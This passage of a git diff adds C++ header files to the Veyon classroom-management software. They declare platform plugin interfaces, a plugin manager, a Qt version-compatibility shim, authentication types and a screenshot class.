useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_INPUT_DEVICE_FUNCTIONS_H +#define PLATFORM_INPUT_DEVICE_FUNCTIONS_H + +#include "PlatformPluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class KeyboardShortcutTrapper; + +class PlatformInputDeviceFunctions +{ +public: + virtual void enableInputDevices() = 0; + virtual void disableInputDevices() = 0; + + virtual KeyboardShortcutTrapper* createKeyboardShortcutTrapper( QObject* parent ) = 0; + + virtual bool configureSoftwareSAS( bool enabled ) = 0; + +}; + +#endif // PLATFORM_INPUT_DEVICE_FUNCTIONS_H diff --git a/core/include/PlatformNetworkFunctions.h b/core/include/PlatformNetworkFunctions.h new file mode 100644 index 0000000..58e8a69 --- /dev/null +++ b/core/include/PlatformNetworkFunctions.h @@ -0,0 +1,47 @@ +/* + * PlatformNetworkFunctions.h - interface class for platform plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_NETWORK_FUNCTIONS_H +#define PLATFORM_NETWORK_FUNCTIONS_H + +#include "PlatformPluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class PlatformNetworkFunctions +{ +public: + enum { + PingTimeout = 1000, + PingProcessTimeout = PingTimeout*2 + }; + + virtual bool ping( const QString& hostAddress ) = 0; + virtual bool configureFirewallException( const QString& applicationPath, const QString& description, bool enabled ) = 0; + + virtual bool configureSocketKeepalive( int socket, bool enabled, int idleTime, int interval, int probes ) = 0; + +}; + +#endif // PLATFORM_NETWORK_FUNCTIONS_H diff --git a/core/include/PlatformPluginInterface.h b/core/include/PlatformPluginInterface.h new file mode 100644 index 0000000..8756948 --- /dev/null +++ b/core/include/PlatformPluginInterface.h @@ -0,0 +1,57 @@ +/* + * PlatformPluginInterface.h - interface class for platform plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_PLUGIN_INTERFACE_H +#define PLATFORM_PLUGIN_INTERFACE_H + +#include "PluginInterface.h" + +class PlatformCoreFunctions; +class PlatformFilesystemFunctions; +class PlatformInputDeviceFunctions; +class PlatformNetworkFunctions; +class PlatformServiceFunctions; +class PlatformUserFunctions; + +// clazy:excludeall=copyable-polymorphic + +class PlatformPluginInterface +{ +public: + virtual PlatformCoreFunctions& coreFunctions() = 0; + virtual PlatformFilesystemFunctions& filesystemFunctions() = 0; + virtual PlatformInputDeviceFunctions& inputDeviceFunctions() = 0; + virtual PlatformNetworkFunctions& networkFunctions() = 0; + virtual PlatformServiceFunctions& serviceFunctions() = 0; + virtual PlatformUserFunctions& userFunctions() = 0; + +}; + +typedef QList PlatformPluginInterfaceList; + +#define PlatformPluginInterface_iid "io.veyon.Veyon.Plugins.PlatformPluginInterface" + +Q_DECLARE_INTERFACE(PlatformPluginInterface, PlatformPluginInterface_iid) + +#endif // PLATFORM_PLUGIN_INTERFACE_H diff --git a/core/include/PlatformPluginManager.h b/core/include/PlatformPluginManager.h new file mode 100644 index 0000000..d50130b --- /dev/null +++ b/core/include/PlatformPluginManager.h @@ -0,0 +1,46 @@ +/* + * PlatformPluginManager.h - header file for PlatformPluginManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_PLUGIN_MANAGER_H +#define PLATFORM_PLUGIN_MANAGER_H + +#include "PlatformPluginInterface.h" + +class VEYON_CORE_EXPORT PlatformPluginManager : public QObject +{ + Q_OBJECT +public: + PlatformPluginManager( PluginManager& pluginManager, QObject* parent = nullptr ); + + PlatformPluginInterface* platformPlugin() + { + return m_platformPlugin; + } + +private: + PlatformPluginInterface* m_platformPlugin; + +}; + +#endif // PLATFORM_PLUGIN_MANAGER_H diff --git a/core/include/PlatformServiceCore.h b/core/include/PlatformServiceCore.h new file mode 100644 index 0000000..c50a0f5 --- /dev/null +++ b/core/include/PlatformServiceCore.h @@ -0,0 +1,53 @@ +/* + * PlatformServiceCore.h - declaration of PlatformServiceCore class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_SERVICE_CORE_H +#define PLATFORM_SERVICE_CORE_H + +#include "VeyonCore.h" + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT PlatformServiceCore +{ +public: + typedef int SessionId; + + enum { + SessionIdInvalid = -1, + SessionIdMax = 99 + }; + + SessionId openSession( const QVariant& sessionData ); + void closeSession( SessionId sessionId ); + + QVariant sessionDataFromId( SessionId sessionId ) const; + SessionId sessionIdFromData( const QVariant& data ) const; + +private: + QMap m_sessions; + +}; + +#endif // PLATFORM_SERVICE_CORE_H diff --git a/core/include/PlatformServiceFunctions.h b/core/include/PlatformServiceFunctions.h new file mode 100644 index 0000000..fd4b1ea --- /dev/null +++ b/core/include/PlatformServiceFunctions.h @@ -0,0 +1,57 @@ +/* + * PlatformServiceFunctions.h - interface class for platform plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_SERVICE_FUNCTIONS_H +#define PLATFORM_SERVICE_FUNCTIONS_H + +#include "PlatformPluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class PlatformServiceFunctions +{ +public: + typedef enum StartModes { + StartModeDisabled, + StartModeManual, + StartModeAuto, + StartModeCount + } StartMode; + + virtual QString veyonServiceName() const = 0; + + virtual bool isRegistered( const QString& name ) = 0; + virtual bool isRunning( const QString& name ) = 0; + virtual bool start( const QString& name ) = 0; + virtual bool stop( const QString& name ) = 0; + virtual bool install( const QString& name, const QString& filePath, + StartMode startMode, const QString& displayName ) = 0; + virtual bool uninstall( const QString& name ) = 0; + virtual bool setStartMode( const QString& name, StartMode startMode ) = 0; + virtual bool runAsService( const QString& name, const std::function& serviceMain ) = 0; + virtual void manageServerInstances() = 0; + +}; + +#endif // PLATFORM_SERVICE_FUNCTIONS_H diff --git a/core/include/PlatformUserFunctions.h b/core/include/PlatformUserFunctions.h new file mode 100644 index 0000000..dff82ee --- /dev/null +++ b/core/include/PlatformUserFunctions.h @@ -0,0 +1,50 @@ +/* + * PlatformUserFunctions.h - interface class for platform plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLATFORM_USER_FUNCTIONS_H +#define PLATFORM_USER_FUNCTIONS_H + +#include "PlatformPluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class PlatformUserFunctions +{ +public: + virtual QString fullName( const QString& username ) = 0; + + virtual QStringList userGroups( bool queryDomainGroups ) = 0; + virtual QStringList groupsOfUser( const QString& username, bool queryDomainGroups ) = 0; + + virtual QString currentUser() = 0; + virtual QStringList loggedOnUsers() = 0; + + virtual void logon( const QString& username, const QString& password ) = 0; + virtual void logout() = 0; + + virtual bool authenticate( const QString& username, const QString& password ) = 0; + +}; + +#endif // PLATFORM_USER_FUNCTIONS_H diff --git a/core/include/Plugin.h b/core/include/Plugin.h new file mode 100644 index 0000000..3e1eb04 --- /dev/null +++ b/core/include/Plugin.h @@ -0,0 +1,51 @@ +/* + * Plugin.h - generic abstraction of a plugin + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLUGIN_H +#define PLUGIN_H + +#include +#include +#include + +class Plugin +{ + Q_GADGET +public: + typedef QUuid Uid; + + enum PluginFlags + { + NoFlags, + ProvidesDefaultImplementation = 0x0001, + } ; + + Q_DECLARE_FLAGS(Flags, PluginFlags) + Q_FLAG(Flags) + +}; + +typedef QList PluginUidList; + +#endif // PLUGIN_H diff --git a/core/include/PluginInterface.h b/core/include/PluginInterface.h new file mode 100644 index 0000000..5fccc2d --- /dev/null +++ b/core/include/PluginInterface.h @@ -0,0 +1,61 @@ +/* + * PluginInterface.h - interface class for plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLUGIN_INTERFACE_H +#define PLUGIN_INTERFACE_H + +#include + +#include "VeyonCore.h" +#include "Plugin.h" + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT PluginInterface +{ +public: + virtual Plugin::Uid uid() const = 0; + virtual QVersionNumber version() const = 0; + virtual QString name() const = 0; + virtual QString description() const = 0; + virtual QString vendor() const = 0; + virtual QString copyright() const = 0; + virtual Plugin::Flags flags() const + { + return Plugin::NoFlags; + } + virtual void upgrade( const QVersionNumber& oldVersion ) + { + Q_UNUSED(oldVersion) + } + +}; + +typedef QList PluginInterfaceList; + +#define PluginInterface_iid "io.veyon.Veyon.Plugins.PluginInterface" + +Q_DECLARE_INTERFACE(PluginInterface, PluginInterface_iid) + +#endif // PLUGIN_INTERFACE_H diff --git a/core/include/PluginManager.h b/core/include/PluginManager.h new file mode 100644 index 0000000..41a3f8b --- /dev/null +++ b/core/include/PluginManager.h @@ -0,0 +1,79 @@ +/* + * PluginManager.h - header for the PluginManager class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef PLUGIN_MANAGER_H +#define PLUGIN_MANAGER_H + +#include + +#include "Plugin.h" +#include "PluginInterface.h" + +class VEYON_CORE_EXPORT PluginManager : public QObject +{ + Q_OBJECT +public: + PluginManager( QObject* parent = nullptr ); + + void loadPlatformPlugins(); + void loadPlugins(); + void upgradePlugins(); + + const PluginInterfaceList& pluginInterfaces() const + { + return m_pluginInterfaces; + } + + PluginInterfaceList& pluginInterfaces() + { + return m_pluginInterfaces; + } + + QObjectList& pluginObjects() + { + return m_pluginObjects; + } + + void registerExtraPluginInterface( QObject* pluginObject ); + + PluginUidList pluginUids() const; + + PluginInterface* pluginInterface( Plugin::Uid pluginUid ); + + QString pluginName( Plugin::Uid pluginUid ) const; + +private: + void initPluginSearchPath(); + void loadPlugins( const QString& nameFilter ); + + PluginInterfaceList m_pluginInterfaces; + QObjectList m_pluginObjects; + bool m_noDebugMessages; + +signals: + void pluginsLoaded(); + +}; + +#endif // PLUGIN_MANAGER_H diff --git a/core/include/ProgressWidget.h b/core/include/ProgressWidget.h new file mode 100644 index 0000000..578e099 --- /dev/null +++ b/core/include/ProgressWidget.h @@ -0,0 +1,53 @@ +/* + * ProgressWidget.h - widget with animated progress indicator + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef PROGRESS_WIDGET_H +#define PROGRESS_WIDGET_H + +#include +#include +#include + +class ProgressWidget : public QWidget +{ + Q_OBJECT +public: + ProgressWidget( const QString& text, const QString& animationPixmapBase, int frames, QWidget* parent = nullptr ); + ~ProgressWidget() override; + +protected: + void paintEvent( QPaintEvent* event ) override; + +private slots: + void nextFrame(); + +private: + QString m_text; + int m_frames; + int m_curFrame; + + QVector m_pixmaps; + +} ; + +#endif diff --git a/core/include/QtCompat.h b/core/include/QtCompat.h new file mode 100644 index 0000000..e68028e --- /dev/null +++ b/core/include/QtCompat.h @@ -0,0 +1,343 @@ +/* + * QtCompat.h - functions and templates for compatibility with older Qt versions + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef QT_COMPAT_H +#define QT_COMPAT_H + +#include +#include + +template +static inline bool intersects( const QSet& a, const QSet& b ) +{ +#if QT_VERSION < 0x050600 + return QSet( a ).intersect( b ).isEmpty() == false; +#else + return a.intersects( b ); +#endif +} + +#if QT_VERSION >= 0x050600 +#include +#else + +// taken from qtbase/src/corelib/tools/qversionnumber.h + +class QVersionNumber +{ + /* + * QVersionNumber stores small values inline, without memory allocation. + * We do that by setting the LSB in the pointer that would otherwise hold + * the longer form of the segments. + * The constants below help us deal with the permutations for 32- and 64-bit, + * little- and big-endian architectures. + */ + enum { + // in little-endian, inline_segments[0] is shared with the pointer's LSB, while + // in big-endian, it's inline_segments[7] + InlineSegmentMarker = Q_BYTE_ORDER == Q_LITTLE_ENDIAN ? 0 : sizeof(void*) - 1, + InlineSegmentStartIdx = !InlineSegmentMarker, // 0 for BE, 1 for LE + InlineSegmentCount = sizeof(void*) - 1 + }; + Q_STATIC_ASSERT(InlineSegmentCount >= 3); // at least major, minor, micro + + struct SegmentStorage { + // Note: we alias the use of dummy and inline_segments in the use of the + // union below. This is undefined behavior in C++98, but most compilers implement + // the C++11 behavior. The one known exception is older versions of Sun Studio. + union { + quintptr dummy; + qint8 inline_segments[sizeof(void*)]; + QVector *pointer_segments; + }; + + // set the InlineSegmentMarker and set length to zero + SegmentStorage() Q_DECL_NOTHROW : dummy(1) {} + + SegmentStorage(const QVector &seg) + { + if (dataFitsInline(seg.begin(), seg.size())) + setInlineData(seg.begin(), seg.size()); + else + pointer_segments = new QVector(seg); + } + + SegmentStorage(const SegmentStorage &other) + { + if (other.isUsingPointer()) + pointer_segments = new QVector(*other.pointer_segments); + else + dummy = other.dummy; + } + + SegmentStorage &operator=(const SegmentStorage &other) + { + if (isUsingPointer() && other.isUsingPointer()) { + *pointer_segments = *other.pointer_segments; + } else if (other.isUsingPointer()) { + pointer_segments = new QVector(*other.pointer_segments); + } else { + if (isUsingPointer()) + delete pointer_segments; + dummy = other.dummy; + } + return *this; + } + +#ifdef Q_COMPILER_RVALUE_REFS + SegmentStorage(SegmentStorage &&other) Q_DECL_NOTHROW + : dummy(other.dummy) + { + other.dummy = 1; + } + + SegmentStorage &operator=(SegmentStorage &&other) Q_DECL_NOTHROW + { + qSwap(dummy, other.dummy); + return *this; + } + + explicit SegmentStorage(QVector &&seg) + { + if (dataFitsInline(seg.begin(), seg.size())) + setInlineData(seg.begin(), seg.size()); + else + pointer_segments = new QVector(std::move(seg)); + } +#endif +#ifdef Q_COMPILER_INITIALIZER_LISTS + SegmentStorage(std::initializer_list args) + { + if (dataFitsInline(args.begin(), int(args.size()))) { + setInlineData(args.begin(), int(args.size())); + } else { + pointer_segments = new QVector(args); + } + } +#endif + + ~SegmentStorage() { if (isUsingPointer()) delete pointer_segments; } + + bool isUsingPointer() const Q_DECL_NOTHROW + { return (inline_segments[InlineSegmentMarker] & 1) == 0; } + + int size() const Q_DECL_NOTHROW + { return isUsingPointer() ? pointer_segments->size() : (inline_segments[InlineSegmentMarker] >> 1); } + + void setInlineSize(int len) + { inline_segments[InlineSegmentMarker] = 1 + 2 * len; } + + void resize(int len) + { + if (isUsingPointer()) + pointer_segments->resize(len); + else + setInlineSize(len); + } + + int at(int index) const + { + return isUsingPointer() ? + pointer_segments->at(index) : + inline_segments[InlineSegmentStartIdx + index]; + } + + void setSegments(int len, int maj, int min = 0, int mic = 0) + { + if (maj == qint8(maj) && min == qint8(min) && mic == qint8(mic)) { + int data[] = { maj, min, mic }; + setInlineData(data, len); + } else { + setVector(len, maj, min, mic); + } + } + + private: + static bool dataFitsInline(const int *data, int len) + { + if (len > InlineSegmentCount) + return false; + for (int i = 0; i < len; ++i) + if (data[i] != qint8(data[i])) + return false; + return true; + } + void setInlineData(const int *data, int len) + { + dummy = 1 + len * 2; +#if Q_BYTE_ORDER == Q_LITTLE_ENDIAN + for (int i = 0; i < len; ++i) + dummy |= quintptr(data[i] & 0xFF) << (8 * (i + 1)); +#elif Q_BYTE_ORDER == Q_BIG_ENDIAN + for (int i = 0; i < len; ++i) + dummy |= quintptr(data[i] & 0xFF) << (8 * (sizeof(void *) - i - 1)); +#else + // the code above is equivalent to: + setInlineSize(len); + for (int i = 0; i < len; ++i) + inline_segments[InlineSegmentStartIdx + i] = data[i] & 0xFF; +#endif + } + + Q_CORE_EXPORT void setVector(int len, int maj, int min, int mic); + } m_segments; + +public: + inline QVersionNumber() Q_DECL_NOTHROW + : m_segments() + {} + inline explicit QVersionNumber(const QVector &seg) + : m_segments(seg) + {} + + // compiler-generated copy/move ctor/assignment operators and the destructor are ok + +#ifdef Q_COMPILER_RVALUE_REFS + explicit QVersionNumber(QVector &&seg) + : m_segments(std::move(seg)) + {} +#endif + +#ifdef Q_COMPILER_INITIALIZER_LISTS + inline QVersionNumber(std::initializer_list args) + : m_segments(args) + {} +#endif + + inline explicit QVersionNumber(int maj) + { m_segments.setSegments(1, maj); } + + inline explicit QVersionNumber(int maj, int min) + { m_segments.setSegments(2, maj, min); } + + inline explicit QVersionNumber(int maj, int min, int mic) + { m_segments.setSegments(3, maj, min, mic); } + + Q_REQUIRED_RESULT inline bool isNull() const Q_DECL_NOTHROW + { return segmentCount() == 0; } + + Q_REQUIRED_RESULT inline bool isNormalized() const Q_DECL_NOTHROW + { return isNull() || segmentAt(segmentCount() - 1) != 0; } + + Q_REQUIRED_RESULT inline int majorVersion() const Q_DECL_NOTHROW + { return segmentAt(0); } + + Q_REQUIRED_RESULT inline int minorVersion() const Q_DECL_NOTHROW + { return segmentAt(1); } + + Q_REQUIRED_RESULT inline int microVersion() const Q_DECL_NOTHROW + { return segmentAt(2); } + + Q_REQUIRED_RESULT Q_CORE_EXPORT QVersionNumber normalized() const; + + Q_REQUIRED_RESULT Q_CORE_EXPORT QVector segments() const; + + Q_REQUIRED_RESULT inline int segmentAt(int index) const Q_DECL_NOTHROW + { return (m_segments.size() > index) ? m_segments.at(index) : 0; } + + Q_REQUIRED_RESULT inline int segmentCount() const Q_DECL_NOTHROW + { return m_segments.size(); } + + Q_REQUIRED_RESULT Q_CORE_EXPORT bool isPrefixOf(const QVersionNumber &other) const Q_DECL_NOTHROW; + + Q_REQUIRED_RESULT Q_CORE_EXPORT static int compare(const QVersionNumber &v1, const QVersionNumber &v2) Q_DECL_NOTHROW; + + Q_REQUIRED_RESULT Q_CORE_EXPORT static Q_DECL_PURE_FUNCTION QVersionNumber commonPrefix(const QVersionNumber &v1, const QVersionNumber &v2); + + Q_REQUIRED_RESULT Q_CORE_EXPORT QString toString() const; + Q_REQUIRED_RESULT Q_CORE_EXPORT static Q_DECL_PURE_FUNCTION QVersionNumber fromString(const QString &string, int *suffixIndex = Q_NULLPTR); + +}; + +Q_DECLARE_TYPEINFO(QVersionNumber, Q_MOVABLE_TYPE); + +Q_REQUIRED_RESULT inline bool operator> (const QVersionNumber &lhs, const QVersionNumber &rhs) Q_DECL_NOTHROW +{ return QVersionNumber::compare(lhs, rhs) > 0; } + +Q_REQUIRED_RESULT inline bool operator>=(const QVersionNumber &lhs, const QVersionNumber &rhs) Q_DECL_NOTHROW +{ return QVersionNumber::compare(lhs, rhs) >= 0; } + +Q_REQUIRED_RESULT inline bool operator< (const QVersionNumber &lhs, const QVersionNumber &rhs) Q_DECL_NOTHROW +{ return QVersionNumber::compare(lhs, rhs) < 0; } + +Q_REQUIRED_RESULT inline bool operator<=(const QVersionNumber &lhs, const QVersionNumber &rhs) Q_DECL_NOTHROW +{ return QVersionNumber::compare(lhs, rhs) <= 0; } + +Q_REQUIRED_RESULT inline bool operator==(const QVersionNumber &lhs, const QVersionNumber &rhs) Q_DECL_NOTHROW +{ return QVersionNumber::compare(lhs, rhs) == 0; } + +Q_REQUIRED_RESULT inline bool operator!=(const QVersionNumber &lhs, const QVersionNumber &rhs) Q_DECL_NOTHROW +{ return QVersionNumber::compare(lhs, rhs) != 0; } + +Q_DECLARE_METATYPE(QVersionNumber) +#endif + +#if QT_VERSION < 0x050700 +template struct QAddConst { typedef const T Type; }; +template constexpr typename QAddConst::Type &qAsConst(T &t) { return t; } +template void qAsConst(const T &&) = delete; + +template +struct QNonConstOverload +{ + template + Q_DECL_CONSTEXPR auto operator()(R (T::*ptr)(Args...)) const Q_DECL_NOTHROW -> decltype(ptr) + { return ptr; } + + template + static Q_DECL_CONSTEXPR auto of(R (T::*ptr)(Args...)) Q_DECL_NOTHROW -> decltype(ptr) + { return ptr; } +}; + +template +struct QConstOverload +{ + template + Q_DECL_CONSTEXPR auto operator()(R (T::*ptr)(Args...) const) const Q_DECL_NOTHROW -> decltype(ptr) + { return ptr; } + + template + static Q_DECL_CONSTEXPR auto of(R (T::*ptr)(Args...) const) Q_DECL_NOTHROW -> decltype(ptr) + { return ptr; } +}; + +template +struct QOverload : QConstOverload, QNonConstOverload +{ + using QConstOverload::of; + using QConstOverload::operator(); + using QNonConstOverload::of; + using QNonConstOverload::operator(); + + template + Q_DECL_CONSTEXPR auto operator()(R (*ptr)(Args...)) const Q_DECL_NOTHROW -> decltype(ptr) + { return ptr; } + + template + static Q_DECL_CONSTEXPR auto of(R (*ptr)(Args...)) Q_DECL_NOTHROW -> decltype(ptr) + { return ptr; } +}; +#endif + +#endif diff --git a/core/include/RfbVeyonAuth.h b/core/include/RfbVeyonAuth.h new file mode 100644 index 0000000..85a5837 --- /dev/null +++ b/core/include/RfbVeyonAuth.h @@ -0,0 +1,64 @@ +/* + * RfbVeyonAuth.h - types and names related to veyon-specific RFB + * authentication type + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef RFB_VEYON_AUTH_H +#define RFB_VEYON_AUTH_H + +#include "VeyonCore.h" +#include "VeyonRfbExt.h" + +class VEYON_CORE_EXPORT RfbVeyonAuth +{ + Q_GADGET +public: + typedef enum Types + { + // invalid/null authentication type + Invalid, + + // no authentication needed + None, + + // only hosts from an internal whitelist list are allowed + HostWhiteList, + + // client has to sign some data to verify it's authority + KeyFile, + + // authentication is performed using given username and password + Logon, + + // client has to prove its authenticity by knowing common token + Token, + + AuthTypeCount + + } Type; + + Q_ENUM(Type) + +}; + +#endif diff --git a/core/include/Screenshot.h b/core/include/Screenshot.h new file mode 100644 index 0000000..5705efd --- /dev/null +++ b/core/include/Screenshot.h @@ -0,0 +1,76 @@ +/* + * Screenshot.h - class representing a screenshot + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef SCREENSHOT_H +#define SCREENSHOT_H + +#include "ComputerControlInterface.h" +#include "VeyonCore.h" + +#include +#include + +class ComputerControlInterface; + +class VEYON_CORE_EXPORT Screenshot : public QObject +{ + Q_OBJECT +public: + Screenshot( const QString &fileName = QString(), QObject* parent = nullptr ); + + void take( ComputerControlInterface::Pointer computerControlInterface ); + + bool isValid() const + { + return !fileName().isEmpty() && !image().isNull(); + } + + const QString &fileName() const + { + return m_fileName; + } + + const QImage &image() const + { + return m_image; + } + + QPixmap pixmap() const + { + return QPixmap::fromImage( image() ); + } + + QString user() const; + QString host() const; + QString date() const; + QString time() const; + + +private: + QString m_fileName; + QImage m_image; + +} ; + +#endif + diff --git a/core/include/ServiceControl.h b/core/include/ServiceControl.h new file mode 100644 index 0000000..cdd7fdc --- /dev/null +++ b/core/include/ServiceControl.h @@ -0,0 +1,69 @@ +/* + * ServiceControl.h - header for the ServiceControl class + * 